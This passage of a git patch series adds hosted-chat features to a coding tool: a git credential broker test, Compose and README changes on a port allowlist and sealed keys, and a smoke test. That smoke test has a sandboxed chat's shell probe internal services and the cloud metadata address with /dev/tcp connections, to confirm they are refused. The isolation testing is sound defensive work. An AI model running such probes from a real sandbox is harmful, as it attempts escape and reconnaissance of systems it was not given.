gitConfig := filepath.Join(home, ".config", "git", "config") + broker := filepath.Join(home, ".config", "codeaf-hosted", "broker") + personal := filepath.Join(home, ".gitconfig") + if err := os.WriteFile(personal, []byte("[user]\n\tname = Chat\n"), 0600); err != nil { + t.Fatal(err) + } + hostedPrepareGit() + if _, err := os.Stat(filepath.Dir(filepath.Dir(gitConfig))); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("setup without a git URL touched .config: %v", err) + } + + t.Setenv("CODEAF_HOSTED_GIT_URL", testGitURL) + hostedPrepareGit() + exe, err := os.Executable() + if err != nil { + t.Fatal(err) + } + config := readGitTestFile(t, gitConfig) + for _, line := range []string{ + `[url "` + testGitURL + `/github.com/"]`, "insteadOf = https://github.com/", + `[url "` + testGitURL + `/gitstub:8891/"]`, "insteadOf = http://gitstub:8891/", + `[credential "` + testGitURL + `/"]`, "useHttpPath = false", filepath.ToSlash(exe), " git-credential", + } { + if !strings.Contains(config, line) { + t.Errorf("generated config is missing %q:\n%s", line, config) + } + } + if strings.Contains(config, "[credential]") || strings.Contains(config, "cmt_") { + t.Fatalf("git config is unscoped or carries a credential: %s", config) + } + if got := readGitTestFile(t, broker); got != "url="+testGitURL+"\nbearer=cmt_fake-chat-access\n" { + t.Fatalf("broker contents: %q", got) + } + for file, want := range map[string]os.FileMode{broker: 0600, filepath.Dir(broker): 0700, filepath.Dir(gitConfig): 0700} { + info, err := os.Stat(file) + if err != nil || (runtime.GOOS != "windows" && info.Mode().Perm() != want) { + t.Fatalf("%s permissions, want %o: %v %v", file, want, info, err) + } + } + if got := readGitTestFile(t, personal); got != "[user]\n\tname = Chat\n" { + t.Fatalf(".gitconfig was changed: %q", got) + } + + git, err := exec.LookPath("git") + if err == nil { + cmd := exec.Command(git, "ls-remote", "--get-url", "http://gitstub:8891/org/repo.git") + cmd.Dir = home + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "HOME=" + home, "XDG_CONFIG_HOME=" + filepath.Join(home, ".config"), "GIT_CONFIG_NOSYSTEM=1", + "CODEAF_TELEMETRY=off", "DO_NOT_TRACK=1", "CODEAF_HOME=" + os.Getenv("CODEAF_HOME")} + if got, err := cmd.CombinedOutput(); err != nil || strings.TrimSpace(string(got)) != testGitURL+"/gitstub:8891/org/repo.git" { + t.Fatalf("git did not apply the generated rewrite: %q %v", got, err) + } + } + + t.Setenv("OPENAI_API_KEY", "cmt_rotated") + t.Setenv("CODEAF_HOSTED_GIT_HOSTS", "https://github.com") + hostedPrepareGit() + if got := readGitTestFile(t, broker); got != "url="+testGitURL+"\nbearer=cmt_rotated\n" { + t.Fatalf("broker access did not rotate: %q", got) + } + if got := readGitTestFile(t, gitConfig); strings.Contains(got, "gitstub:8891") { + t.Fatalf("stale rewrite remains: %q", got) + } + t.Setenv("OPENAI_API_KEY", "") + hostedPrepareGit() + if _, err := os.Stat(broker); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("stale broker was left behind: %v", err) + } + t.Setenv("HOME", "") + hostedPrepareGit() +} + +func readGitTestFile(t *testing.T, path string) string { + t.Helper() + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + return string(data) +} diff --git a/cmd/codeaf/main.go b/cmd/codeaf/main.go index b5f96382be..546dc9cb43 100644 --- a/cmd/codeaf/main.go +++ b/cmd/codeaf/main.go @@ -46,6 +46,13 @@ import ( var flushFinalSaves = cellstore.Flush func main() { + if len(os.Args) > 1 { + switch os.Args[1] { + case "git-credential": + runHostedGitCredential(os.Args[2:], os.Stdin, os.Stdout) + return + } + } // THE APP'S --HOME IS READ BEFORE ANYTHING READS THE STATE ROOT, which // the adoption, the witness and the telemetry consent below all do. useAppHomeEarly(os.Args[1:]) From 07185c64b148940d9c46922c45ffdb42453970ee Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:10:52 -0500 Subject: [PATCH 050/176] deploy/org: the Compose stack runs the metered model door and a git stub, and the hosted smoke proves P1 on them Compose gains the git stub, the server key and caps settings, the connect-port list and the keyless "key required" model stub; setup.sh makes the server key the way it makes the shared secret; the README says "Linux 6.12 or newer; on older kernels set CODEAF_SESSIONHOST_REQUIRE=uid" and states plainly that the connect-port limit is port-based. The smoke gains rows for the real key never reaching a chat, spend to the cent, the caps, revocation, sealed own keys, git without a token and its audit lines, a restart not breaking an attached chat, and a disallowed port refused. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.env.example | 10 + deploy/org/.env.stub.hosted | 7 + deploy/org/README.md | 81 ++++++-- deploy/org/compose.yaml | 25 +++ deploy/org/scripts/smoke.py | 367 +++++++++++++++++++++++++++++++++--- deploy/org/setup.sh | 24 ++- deploy/org/smoke.sh | 23 ++- 7 files changed, 491 insertions(+), 46 deletions(-) diff --git a/deploy/org/.env.example b/deploy/org/.env.example index f704c6b74b..aa2ed0eff6 100644 --- a/deploy/org/.env.example +++ b/deploy/org/.env.example @@ -11,6 +11,9 @@ CODEAF_FACTORY_TOKEN= # --- Hosted chats (optional; read README.md "Hosted chats" first) --- # The secret the organization server and the hosted-chats machine share. ./setup.sh generates it. CODEAF_HOSTED_SECRET= +# The key that keeps people's own provider keys and GitHub access sealed on disk (64 hex characters; ./setup.sh makes it). +# Keep a copy: without it what people stored cannot be opened, and the server refuses to start rather than carry on. +CODEAF_SERVER_KEY= # To turn hosted chats on: set COMPOSE_PROFILES=hosted (this starts the sessionhost service) and # CODEAF_HOSTED_URL=http://sessionhost:8790, then give the chats a model door: the organization's model # endpoint in CODEAF_HOSTED_MODEL_UPSTREAM (for OpenRouter: https://openrouter.ai/api/v1) and its key in @@ -19,6 +22,13 @@ COMPOSE_PROFILES= CODEAF_HOSTED_URL= CODEAF_HOSTED_MODEL_UPSTREAM= CODEAF_HOSTED_MODEL_KEY= +# What one chat may spend, in US dollars, before its model calls are refused (default 5). The monthly limit for a person is +# the one the operator sets in Settings (default 20); spend is counted to the cent, with the organization's key and with a person's own. +CODEAF_HOSTED_SESSION_CAP_USD= +# Comma separated git hosts a chat may clone from and push to through this server (default https://github.com). +CODEAF_HOSTED_GIT_HOSTS= +# The TCP ports a chat's commands may connect to besides this server's own (default 443,80,22,9418; `none` for this server's alone). +CODEAF_SESSIONHOST_CONNECT_PORTS= # --- Model keys: yours. Leave empty for the keyless smoke test. --- OPENROUTER_API_KEY= diff --git a/deploy/org/.env.stub.hosted b/deploy/org/.env.stub.hosted index 1fcb1aecaf..5af5fd9b03 100644 --- a/deploy/org/.env.stub.hosted +++ b/deploy/org/.env.stub.hosted @@ -8,3 +8,10 @@ CODEAF_SESSIONHOST_MODEL=stub/scripted CODEAF_SESSIONHOST_IDLE=20s CODEAF_SESSIONHOST_MAX_RUNNING=4 CODEAF_SESSIONHOST_MAX_PER_PERSON=2 +# P1: a model key of the hosted chats' own (the stub's, not a secret) so the stub's record shows exactly what they spent; each call +# reports it cost a cent, so metering is checked to the cent; a chat's cap is low enough to reach and high enough that the +# ordinary checks never do. The git host the smoke test clones from is the stub's. +CODEAF_HOSTED_MODEL_KEY=stub-hosted-org-key-0001 +STUB_COST_USD=0.01 +CODEAF_HOSTED_SESSION_CAP_USD=0.50 +CODEAF_HOSTED_GIT_HOSTS=http://gitstub:8891 diff --git a/deploy/org/README.md b/deploy/org/README.md index cb153bdaf5..41261375e4 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -129,13 +129,31 @@ because it has to become a different Linux user for every chat. It is built from `CODEAF_SESSIONHOST_REQUIRE=uid` (default `uid+fence`) lets an operator whose kernel has no fence run on the user switch alone; it says so once at start and in every chat's `warning`, and it is not a default. The fence also scopes abstract Unix sockets (they belong to no user, so nothing else keeps one chat from connecting to - another's), which needs Landlock ABI 6 (Linux 6.12 or newer): on an older kernel the probe says so and the - machine starts no chats unless the operator chose `REQUIRE=uid`. Chats also start with `umask 077`, because + another's), which needs Landlock ABI 6. **Requires Linux 6.12 or newer; on older kernels set + `CODEAF_SESSIONHOST_REQUIRE=uid`.** Without it an older kernel starts no chats and the refusal at start names that + exact setting (`codeaf sessionhost probe` prints the same reason); with it the chats run on the user switch alone, with + no limit on what their commands reach, the port limit below included. Chats also start with `umask 077`, because `/tmp` and `/dev/shm` are shared by every chat on the machine; a chat can still open its own files up. +- **A port limit on the network** (`CODEAF_SESSIONHOST_CONNECT_PORTS`, default `443,80,22,9418`). A private network + with no policies of its own (Railway's, and any Compose stack that puts a chat's machine beside other services) + lets a chat's command connect to the node APIs, the model stub and anything else listening there. The fence + therefore carries a Landlock TCP-connect allowlist: a command may connect to those ports and to the port of the + organization server's own address (the model door and git, taken from the chat's credentials), and every other + port is refused by the kernel with `permission denied` and one plain line saying so. `none` allows the organization + server's port alone. **It filters by port, not by address**: a hostile service listening on an allowed port is still + reachable, a service of the chat's own on another port (a dev server on 3000) is not, and AgentField, the nodes and the + stub must keep their own sign-in because a service that shares an allowed port is open to a chat. Keep AgentField's + port (8080), the nodes' (8003, 8007), the model stub's (8890) and the sessionhost's own (8790) out of the list. Needs + Landlock ABI 4 (Linux 6.7); a chat whose kernel cannot do it is refused, never run with the network open. - **No keys.** The sessionhost holds no organization secret except the one it shares with the organization - server, no AgentField key, no GitHub token and no model key. A chat reaches a model only through the - organization server's `/v1/model/` door with a bearer the server minted for that chat (twelve hours, ended on - stop or delete, held in the server's memory), and that door adds the organization's real key itself. + server, no AgentField key, no GitHub token and no model key, and a chat holds none of a person's keys either. A + chat reaches a model only through the organization server's `/v1/model/` door with a bearer the server minted for + that chat (seven days, ended at once on stop or delete, kept as a hash in the organization's data so a restart of + the server does not end it); the door adds the real key itself, metered into the person's spend. Git goes the same + way: the chat's `git clone`/`push` of an allowed host is rewritten to the organization server's + `/v1/hosted/git/` door, which adds the person's own GitHub access to each request, so the chat never holds a GitHub + token (a credential helper, `codeaf git-credential`, hands git only the chat's own bearer, and only to that one + address). - **Limits.** `CODEAF_SESSIONHOST_MAX_RUNNING` chats at once (default 20) and `CODEAF_SESSIONHOST_MAX_PER_PERSON` per person (default 3). A chat counts while it has a process; a person over their limit can still make a chat but cannot start a third and reads "You already have N chats running; stop one first." @@ -159,20 +177,42 @@ The five capabilities the container is given (`cap_drop: [ALL]`, then `cap_add`) The supervisor narrows itself to these five when it starts, whatever the platform gave root. What this does NOT do, plainly: whoever is root on the machine (the operator, or the platform) can read every -chat, and the volume is not encrypted by this stack; a chat can reach the internet and, on a platform whose -private network is open (Railway's), the other services' private addresses, so the secrets that matter there -are the authentication of each service, not the network; the model access a chat holds is its own scoped -bearer, and the chat's own shell can read the bearer of the chat's engine process; and a restart of the -organization server (which holds the bearers in memory) ends model access until the chat's next attach. Each of -those is a next step, not a hidden property. +chat, and the volume is not encrypted by this stack; a chat can reach the internet and any service that listens on +an allowed port of the private network (the limit is by port, not by address), so each service on that network +must keep its own sign-in (the node APIs of AgentField's reasoner nodes do not yet ask for one: an agentfield +follow-up); the model access a chat holds is its own scoped bearer, and the chat's own shell can read the bearer +of the chat's engine process and of the private file git's helper reads; the git door is not limited to one +repository, because the person's own GitHub access decides what they reach (GitHub App installation tokens per +repository are a next step); and a person's own model key counts toward both spending limits like the +organization's. Each of those is a next step, not a hidden property. + +### Keys, spend and git (P1) + +- **The real model door.** `CODEAF_HOSTED_MODEL_UPSTREAM` (OpenRouter's when empty) is called with + `CODEAF_HOSTED_MODEL_KEY`, or the key the organization server already holds for model calls, or no key at all for a + keyless stub. The key never leaves the organization server. Every call is metered to the cent into the signed-in + person's My space; a chat stops at `CODEAF_HOSTED_SESSION_CAP_USD` (default 5) and a person at the monthly limit the + operator sets in Settings (`PUT /v1/myspace/limit`, default 20). A refused message is a plain sentence and makes no + upstream call. +- **People's own keys.** `PUT /v1/hosted/keys/openrouter` and `.../github` with a person's sign-in store their own key + or GitHub access, sealed with a data key of that person's own, itself sealed by `CODEAF_SERVER_KEY` (64 hex + characters; `./setup.sh` makes it) with AES-256-GCM, in `person-keys.json` beside the server's other data. The + server key is held by the `codeaf` service only. **Back it up with `.env`**: a server that finds keys sealed with a + different server key, or people's keys and no server key, refuses to start with a sentence and touches nothing; + with no server key at all, personal keys are refused with a 409 and chats use the organization's key. Never the + other way round: a person's own key that cannot be opened pauses their chat; it is never replaced by the + organization's. +- **Git.** `CODEAF_HOSTED_GIT_HOSTS` (default `https://github.com`) are the hosts a chat's git reaches through the + server. One audit line per operation goes to `hosted-audit.jsonl` (`GET /v1/hosted/audit` shows a person their own). ### Turning it on 1. `./setup.sh` writes `CODEAF_HOSTED_SECRET` (64 hex characters, never printed) into `.env`; an `.env` from before this feature gets one appended, once. 2. In `.env`: `COMPOSE_PROFILES=hosted`, `CODEAF_HOSTED_URL=http://sessionhost:8790`, the organization's model - endpoint in `CODEAF_HOSTED_MODEL_UPSTREAM` (for OpenRouter `https://openrouter.ai/api/v1`) and its key in - `CODEAF_HOSTED_MODEL_KEY`, and the model chats use in `CODEAF_SESSIONHOST_MODEL`. + endpoint in `CODEAF_HOSTED_MODEL_UPSTREAM` (for OpenRouter `https://openrouter.ai/api/v1`, which is also the default + when empty) and its key in `CODEAF_HOSTED_MODEL_KEY`, and the model chats use in `CODEAF_SESSIONHOST_MODEL`. + `./setup.sh` also writes `CODEAF_SERVER_KEY`, which seals people's own keys: keep a copy. `CODEAF_HOSTED_MODEL_URL` is the address chats use to reach the organization server's model door (`http://codeaf:8787/v1/model` by default). 3. `docker compose up -d`. The image must hold a codeaf that has `codeaf sessionhost`; until a release does, build @@ -180,14 +220,21 @@ those is a next step, not a hidden property. (`codeaf-local` is ignored by git; `CODEAF_BINARY_FROM` defaults to `fetch`, the pinned release.) The sessionhost sits on a network of its own, shared only with `codeaf`, so a chat's commands cannot reach -AgentField, the nodes, the runner or the model stub. Its API (`/v1/sessions` ...) wants the shared secret and a +AgentField, the nodes, the runner or the model stub. On a platform with no such network (Railway), the port limit above +is what keeps them out. Its API (`/v1/sessions` ...) wants the shared secret and a person's name from the organization server, and answers anything else with an empty `401`. `SMOKE_HOSTED=1 ./smoke.sh` runs everything above against the scripted stub (so it spends nothing): two people run chats; the test checks that they cannot see each other's files, processes or environment, that no secret -is in a chat's shell, folder or process list, that a chat cannot reach the other services, that only the owner -can attach, that closing the client mid-turn loses nothing, that a stopped chat leaves no process, and that a -restart of the sessionhost leaves the files in place. It prints PASS or FAIL per check. +is in a chat's shell, folder or process list, that a chat cannot reach the other services (and that the kernel refuses +a port nobody allowed), that only the owner can attach, that closing the client mid-turn loses nothing, that a stopped +chat leaves no process, and that a restart of the sessionhost leaves the files in place. It also checks, against the +stub model (each call reports it cost a cent) and a stub git host: the upstream sees only the organization's key, spend +is exact to the cent, the monthly and per-chat limits refuse in plain words, a person's own key is used for them alone +and sits sealed on disk, clone and push work through the organization with one audit line each and no key or GitHub +access in any chat folder, process environment or argument list, a chat's access still works after the organization +server restarts and ends the moment the chat is stopped, and the first attach after a restart of the chats' machine +needs no retry. It prints PASS or FAIL per check. A live check against a real provider is the one step it does not do. On Railway the sessionhost is a sixth service from the same image: `CODEAF_ROLE=sessionhost`, a volume at `/chats`, no public domain, `CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}`, and on `codeaf` diff --git a/deploy/org/compose.yaml b/deploy/org/compose.yaml index 4eb5074ed4..bd248c4f4f 100644 --- a/deploy/org/compose.yaml +++ b/deploy/org/compose.yaml @@ -61,8 +61,18 @@ services: CODEAF_HOSTED_URL: ${CODEAF_HOSTED_URL:-} CODEAF_HOSTED_SECRET: ${CODEAF_HOSTED_SECRET:-} CODEAF_HOSTED_MODEL_URL: ${CODEAF_HOSTED_MODEL_URL:-http://codeaf:8787/v1/model} + # The model door (README.md "Hosted chats"): the upstream is OpenRouter's unless set, and the key it is called with is + # CODEAF_HOSTED_MODEL_KEY, else the key this server already holds for model calls. Every call is metered into the + # person's spend; a chat stops at CODEAF_HOSTED_SESSION_CAP_USD (default 5). CODEAF_HOSTED_MODEL_UPSTREAM: ${CODEAF_HOSTED_MODEL_UPSTREAM:-} CODEAF_HOSTED_MODEL_KEY: ${CODEAF_HOSTED_MODEL_KEY:-} + CODEAF_HOSTED_SESSION_CAP_USD: ${CODEAF_HOSTED_SESSION_CAP_USD:-} + # The key that keeps people's own provider keys and GitHub access sealed on disk (./setup.sh makes it). This service + # alone holds it: never the chats' machine, never a node. Losing it makes what people stored unreadable, and the server + # then refuses to start rather than carry on without it. + CODEAF_SERVER_KEY: ${CODEAF_SERVER_KEY:-} + # The git hosts a chat's clone and push may reach through this server, comma separated origins (default https://github.com). + CODEAF_HOSTED_GIT_HOSTS: ${CODEAF_HOSTED_GIT_HOSTS:-} volumes: [codeaf-data:/data] # The default network reaches every service; `hosted` is the one the hosted chats' machine is on. networks: [default, hosted] @@ -181,6 +191,10 @@ services: CODEAF_SESSIONHOST_IDLE: ${CODEAF_SESSIONHOST_IDLE:-30m} CODEAF_SESSIONHOST_REQUIRE: ${CODEAF_SESSIONHOST_REQUIRE:-uid+fence} CODEAF_SESSIONHOST_MODEL: ${CODEAF_SESSIONHOST_MODEL:-} + # The TCP ports a chat's commands may connect to, besides the organization server's own (default 443,80,22,9418). + # The kernel refuses every other port, which is what keeps a chat off the other services of a private network + # that has no policies of its own. It filters by PORT, not by address: README.md says what that does not cover. + CODEAF_SESSIONHOST_CONNECT_PORTS: ${CODEAF_SESSIONHOST_CONNECT_PORTS:-} volumes: [sessions-data:/chats] networks: [hosted] healthcheck: @@ -198,6 +212,17 @@ services: build: { context: ., dockerfile: modelstub.Dockerfile } environment: STUB_DELAY: ${STUB_DELAY:-2s} + # Set by .env.stub.hosted: what each call reports it cost, so metering can be checked to the cent. + STUB_COST_USD: ${STUB_COST_USD:-} + + # --- Keyless smoke test only: a git host that wants the person's access and records who asked --- + gitstub: + <<: *defaults + profiles: ["stub"] + image: ${GITSTUB_ORG_IMAGE:-codeaf-org/gitstub:local} + build: { context: ., dockerfile: gitstub.Dockerfile } + environment: + GITSTUB_TOKEN: ${GITSTUB_TOKEN:-} volumes: agentfield-data: diff --git a/deploy/org/scripts/smoke.py b/deploy/org/scripts/smoke.py index c07d7b24fd..864ef9d06e 100755 --- a/deploy/org/scripts/smoke.py +++ b/deploy/org/scripts/smoke.py @@ -331,6 +331,18 @@ def after_org(): HOSTED_IDS = Path(os.environ.get('SMOKE_HOSTED_IDS', '/data/smoke-hosted-ids.json')) CLIENT_HOME = Path(os.environ.get('SMOKE_CLIENT_HOME', '/tmp/smoke-client')) CLIENT_CWD = CLIENT_HOME / 'cwd' +STUB = os.environ.get('STUB_URL', 'http://modelstub:8890').rstrip('/') +GITSTUB = os.environ.get('GITSTUB_URL', 'http://gitstub:8891').rstrip('/') +# The key the organization's model door sends upstream (.env.stub.hosted sets it, and it is the stub's, not a secret): distinct +# from every other service's, so the stub's record of calls shows exactly what the hosted chats spent. +HOSTED_ORG_KEY = os.environ.get('SMOKE_HOSTED_MODEL_KEY', 'stub-hosted-org-key-0001') +GIT_TOKEN = os.environ.get('GITSTUB_TOKEN', '') +STUB_COST = float(os.environ.get('SMOKE_STUB_COST_USD', '0.01')) +SESSION_CAP = float(os.environ.get('SMOKE_SESSION_CAP_USD', '0.50')) +P1_STATE = Path(os.environ.get('SMOKE_P1_STATE', '/data/smoke-p1.json')) +# What a chat's shell may not reach on the private network, and the suffix Railway's names carry. On Compose the +# chats' machine is on a network of its own and the names do not resolve; on Railway they do, and the kernel answers. +NET_SUFFIX = os.environ.get('SMOKE_NET_SUFFIX', '') NO_SUCH_CHAT = 'There is no such chat.' UNKNOWN_CHAT = 'hs_' + '0' * 24 BANNED_WORDS = ('uid', 'sandbox', 'sessionhost', 'fence', 'landlock', 'daemon') @@ -404,11 +416,11 @@ def wire_answer(token, session): def hosted_prepare(): - """Makes the three chats the test uses (two for the owner, one for the member) and writes their names to + """Makes the chats the test uses (two for the owner, two for the member) and writes their names to HOSTED_IDS, which smoke.sh pipes to `hosted-seed` on the chats' machine before anyone types.""" print('--- hosted chats: making the chats') ids = {} - for who, name in (('owner', 'owner_first'), ('owner', 'owner_second'), ('priya', 'member')): + for who, name in (('owner', 'owner_first'), ('owner', 'owner_second'), ('priya', 'member'), ('priya', 'member_cap')): token = sign_in(who) code, made = http('POST', ORG + '/v1/hosted/sessions', token, {}) if token else (0, None) ids[name] = (made or {}).get('id', '') if isinstance(made, dict) else '' @@ -604,19 +616,34 @@ def hosted(): check('C2 another chat\'s engine cannot be connected to', (field(out, 'ENGINE') or '').startswith('refused'), field(out, 'ENGINE')) # C3 and C3b: what a chat's shell can find, and where it can go. - net = ('p() { timeout 4 bash -c "exec 3<>/dev/tcp/$1/$2" 2>/dev/null && echo "NET $1:$2 open" || echo "NET $1:$2 closed"; }; ' + # `denied` is the kernel refusing the connection (permission denied): the answer a port nobody allowed gives. `closed` is + # anything else (no such name, nothing listening, no route). + net = ('p() { e=$(timeout 4 bash -c "exec 3<>/dev/tcp/$1/$2" 2>&1) && echo "NET $1:$2 open" || ' + '{ case "$e" in *ermission*) echo "NET $1:$2 denied";; *) echo "NET $1:$2 closed";; esac; }; }; ' 'h() { exec 3<>/dev/tcp/$1/$2; printf "$3 $4 HTTP/1.0\\r\\nHost: x\\r\\n\\r\\n" >&3; head -n1 <&3; }; ' - 'p agentfield 8080; p modelstub 8890; p swe-af 8003; p pr-af 8007; p 169.254.169.254 80; p codeaf 8787; p sessionhost 8790; ' + 'p agentfield@X 8080; p modelstub@X 8890; p swe-af@X 8003; p pr-af@X 8007; p 169.254.169.254 80; p codeaf 8787; p sessionhost 8790; ' + 'p 127.0.0.1 8790; ' 'echo "SESSIONHOST $(h sessionhost 8790 GET /v1/sessions 2>&1)"; ' - 'echo "ORG $(h codeaf 8787 GET /v1/hosted/sessions 2>&1)"; echo "MODEL $(h codeaf 8787 POST /v1/model/chat/completions 2>&1)"') + 'echo "ORG $(h codeaf 8787 GET /v1/hosted/sessions 2>&1)"; echo "MODEL $(h codeaf 8787 POST /v1/model/chat/completions 2>&1)"').replace('@X', NET_SUFFIX) # What a chat's shell holds in its environment and in its folders is read from the machine's side (hosted_host), # because the engine rightly refuses a command that searches for secrets; here the shell only tries to reach things. status, out, err = chat(owner, 'bash: ' + net, session=first_id) trace('the network probe', 'NET ', status, out, err) - closed = ('agentfield:8080', 'modelstub:8890', 'swe-af:8003', 'pr-af:8007', '169.254.169.254:80') + closed = ('agentfield%s:8080' % NET_SUFFIX, 'modelstub%s:8890' % NET_SUFFIX, 'swe-af%s:8003' % NET_SUFFIX, 'pr-af%s:8007' % NET_SUFFIX, '169.254.169.254:80') check('C3b the chat cannot reach AgentField, the nodes, the model stub or the metadata address', - all('NET %s closed' % target in out for target in closed), short(re.findall(r'^NET .*$', out, re.M), 400)) - check('C3b the chats\' machine API refuses a chat that has no secret', '401' in (field(out, 'SESSIONHOST') or ''), field(out, 'SESSIONHOST')) + all('NET %s open' % target not in out and 'NET %s' % target in out for target in closed), short(re.findall(r'^NET .*$', out, re.M), 400)) + # P1-0c: a port nobody allowed is refused by the kernel itself, which is what closes the services of a private network that + # has no policies of its own (Railway's). Here the chats' machine's own API is the one that answers on this network: its + # name resolves to the machine the chat runs on, and so does loopback. The organization's own door is the port that is let through. + denied = ('sessionhost:8790', '127.0.0.1:8790') + (closed[:4] if NET_SUFFIX else ()) + check('P1-0c a command in a chat is REFUSED (permission denied) on the ports of the chats\' machine' + (', AgentField, the nodes and the model stub' if NET_SUFFIX else ''), + all('NET %s denied' % target in out for target in denied), short(re.findall(r'^NET .*$', out, re.M), 500)) + check('P1-0c the organization server\'s own door is the port that stays open to a chat', 'NET codeaf:8787 open' in out, short(re.findall(r'^NET codeaf.*$', out, re.M), 100)) + status, refused_out, refused_err = chat(owner, 'bash: exec 3<>/dev/tcp/127.0.0.1/8790', session=first_id) + check('P1-0c the refusal says in one plain sentence what a chat\'s commands may reach', 'only on the ports the organization allows' in refused_out + refused_err, + short(refused_out + refused_err, 300)) + check('C3b the chats\' machine API cannot be used by a chat that has no secret (refused outright, or 401)', + '401' in (field(out, 'SESSIONHOST') or '') or 'denied' in (re.findall(r'^NET sessionhost:8790 (\w+)$', out, re.M) or [''])[0], field(out, 'SESSIONHOST')) check('C3b the organization server refuses a chat that has no sign-in', any(c in (field(out, 'ORG') or '') for c in ('401', '403')), field(out, 'ORG')) check('C3b the model door refuses a chat that has no model bearer', '401' in (field(out, 'MODEL') or ''), field(out, 'MODEL')) @@ -815,17 +842,12 @@ def hosted_after(): first = state['owner_first'] code, rows = hosted_sessions(owner) check('C6 the owner\'s chat is still listed after the restart', any(r['id'] == first['id'] for r in rows), [r['id'] for r in rows]) - # The chats' machine forgot the model bearers with its memory; the first attach says so in a plain sentence - # and the next one works, because the organization server mints and hands over a new one on that retry. - attempts = [] - out = '' - for _ in range(2): - status, out, err = chat(owner, 'bash: cat secretA; cat wt/f; cat c5.txt', session=first['id']) - attempts.append((status, (out + err).strip())) - if 'A-ONLY' in out: - break - time.sleep(2) - check('C6 the files are intact and the person is back in the chat (a retry is allowed once)', 'A-ONLY' in out and 'C5-DONE' in out, short(attempts, 300)) + # The chats' machine forgot the model bearers with its memory. Since P1 the organization server notices that when the person + # attaches (the machine says which access it holds) and hands over a fresh one before anything is sent, so the FIRST attach + # after a restart works: no "no model access yet", no retry. + status, out, err = chat(owner, 'bash: cat secretA; cat wt/f; cat c5.txt', session=first['id']) + check('P1-7 the person is back in the chat on the first attach after the restart, files intact', 'A-ONLY' in out and 'C5-DONE' in out and 'no model access' not in out + err, + short((status, (out + err).strip()), 300)) def hosted_leftovers(): @@ -848,13 +870,316 @@ def hosted_leftovers(): check('C6 the chats\' volume survived the restart', 'people' in layout, layout) + +# ---- P1: the real model door, per-person keys, git, and what survives a restart ------------------------------------------- + +def stub_rows(): + code, body = http('GET', STUB + '/_calls') + return (body or {}).get('calls', []) if code == 200 and isinstance(body, dict) else [] + + +def calls_with(key, rows=None): + return [r for r in (rows if rows is not None else stub_rows()) if r.get('key') == key and r.get('status') == 200] + + +def git_calls(): + code, body = http('GET', GITSTUB + '/_calls') + return body if code == 200 and isinstance(body, list) else [] + + +def spent_of(token): + code, body = http('GET', ORG + '/v1/myspace', token) + return round(float((body or {}).get('spent_usd', 0)), 2) if code == 200 and isinstance(body, dict) else None + + +def quiet_count(key, seconds=2, limit=30): + """The number of stub calls made with `key` once no more are arriving (a chat can make a call after its answer).""" + last = -1 + deadline = time.time() + limit + while time.time() < deadline: + now = len(calls_with(key)) + if now == last: + return now + last = now + time.sleep(seconds) + return last + + +def audit_lines(token): + code, body = http('GET', ORG + '/v1/hosted/audit', token) + return (body or {}).get('entries', []) if code == 200 and isinstance(body, dict) else [] + + +def p1_state(): + try: + return json.loads(P1_STATE.read_text()) + except (OSError, ValueError): + return {} + + +def p1_save(state): + P1_STATE.write_text(json.dumps(state)) + P1_STATE.chmod(0o600) + + +def hosted_p1(): + print('--- hosted chats P1: the model door, keys, spend, caps and git') + owner, member = sign_in('owner'), sign_in('priya') + check('P1 both people sign in', bool(owner and member)) + if not (owner and member): + return + ids = json.loads(HOSTED_IDS.read_text()) + owner_chat, member_chat, cap_chat = ids['owner_first'], ids['member'], ids['member_cap'] + state = {'own_key': 'sk-own-smoke-' + secrets.token_hex(10), 'member_chat': member_chat, 'cap_chat': cap_chat, 'owner_chat': owner_chat, + 'git_token': GIT_TOKEN, 'hosted_key': HOSTED_ORG_KEY} + check('P1 the stub reports what it was asked and costs (so metering can be checked)', http('GET', STUB + '/_calls')[0] == 200 and GIT_TOKEN != '', + f'stub {http("GET", STUB + "/_calls")[0]}, git token set {GIT_TOKEN != ""}') + + # P1-1 and P1-2: a chat's model calls go upstream with the organization's key and are metered into the person's spend to the cent. + before_calls = quiet_count(HOSTED_ORG_KEY) + before_spent = spent_of(member) + for number in range(3): + status, out, err = chat(member, 'bash: echo meter-%d' % number, session=member_chat) + check(f'P1 the member\'s message {number + 1} gets an answer through the model door', status == 0 and 'STUB ran' in out, short(out + err, 200)) + after_calls = quiet_count(HOSTED_ORG_KEY) + made = after_calls - before_calls + check('P1-1 the model calls reached the upstream with the organization\'s own key', made >= 3, f'{made} calls') + check('P1-1 no key of a chat (cmt_...) ever reached the upstream', not [r for r in stub_rows() if str(r.get('key', '')).startswith('cmt_')], '') + spent_after = wait_until(lambda: (lambda value: value if value is not None and round(value - before_spent, 2) == round(made * STUB_COST, 2) else None)(spent_of(member)), 20, 1) + check('P1-2 the person\'s spend rose by exactly what those calls cost, to the cent', spent_after is not None, f'{made} calls x ${STUB_COST} -> spent {before_spent} then {spent_of(member)}') + + # P1-5: a person's own keys are kept sealed, are only theirs, and are used only for them. + code, _ = http('PUT', ORG + '/v1/hosted/keys/openrouter', member, {'key': state['own_key']}) + check('P1-5 a person can store their own model key', code == 204, code) + code, _ = http('PUT', ORG + '/v1/hosted/keys/github', member, {'key': GIT_TOKEN}) + check('P1-5 a person can store their own GitHub access', code == 204, code) + code, listing = http('GET', ORG + '/v1/hosted/keys', member) + rows = (listing or {}).get('keys', []) if isinstance(listing, dict) else [] + check('P1-5 the list shows the last four characters and never the key', sorted(r.get('provider') for r in rows) == ['github', 'openrouter'] + and state['own_key'] not in json.dumps(listing) and GIT_TOKEN not in json.dumps(listing) + and {r['provider']: r.get('last4') for r in rows}.get('openrouter') == state['own_key'][-4:], short(listing, 300)) + code, other = http('GET', ORG + '/v1/hosted/keys', owner) + check('P1-5 another person sees none of those keys', code == 200 and (other or {}).get('keys') == [], short(other, 200)) + stored = glob.glob('/data/**/person-keys.json', recursive=True) + body = open(stored[0], 'rb').read() if len(stored) == 1 else b'' + check('P1-5 the stored keys are on disk sealed: mode 0600 and neither key is in the file', len(stored) == 1 and (os.stat(stored[0]).st_mode & 0o777) == 